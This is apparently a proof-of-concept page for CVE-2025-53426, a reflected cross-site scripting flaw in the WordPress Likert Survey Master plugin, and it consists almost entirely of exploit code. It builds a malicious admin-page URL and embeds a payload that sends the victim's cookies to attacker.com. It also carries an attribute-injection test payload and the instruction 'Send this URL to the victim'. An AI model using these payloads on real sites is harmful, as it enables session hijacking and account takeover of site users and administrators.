CVE-2025-53426: WordPress Likert Survey Master插件反射型XSS漏洞

<!-- CVE-2025-53426 PoC: Reflected XSS in Likert Survey Master --> <!-- Attack Scenario: Inject malicious JavaScript via URL parameter --> <!-- Malicious URL structure --> <!-- https://vulnerable-site.com/?param=<script>alert(document.cookie)</script> --> <!-- Example attack URL --> <!-- Replace TARGET_URL with the actual vulnerable site --> const targetUrl = 'https://TARGET_URL/wp-admin/admin.php?page=likert_survey_master&survey_id=<script>alert(String.fromCharCode(88,83,83))</script>'; // Automated PoC execution async function exploitXSS() { const maliciousPayload = '<script>fetch("https://attacker.com/steal?cookie="+encodeURIComponent(document.cookie))</script>'; const exploitUrl = `${targetUrl}${encodeURIComponent(maliciousPayload)}`; // Open the malicious URL (requires user interaction) console.log('Send this URL to the victim:'); console.log(exploitUrl); // Or use in iframe (if CSP allows) // const iframe = document.createElement('iframe'); // iframe.src = exploitUrl; // document.body.appendChild(iframe); } // Simple test payload const testPayload = '" onerror="alert(document.domain)" data-x="'; console.log('XSS Test Payload:', testPayload); console.log('Encoded:', encodeURIComponent(testPayload));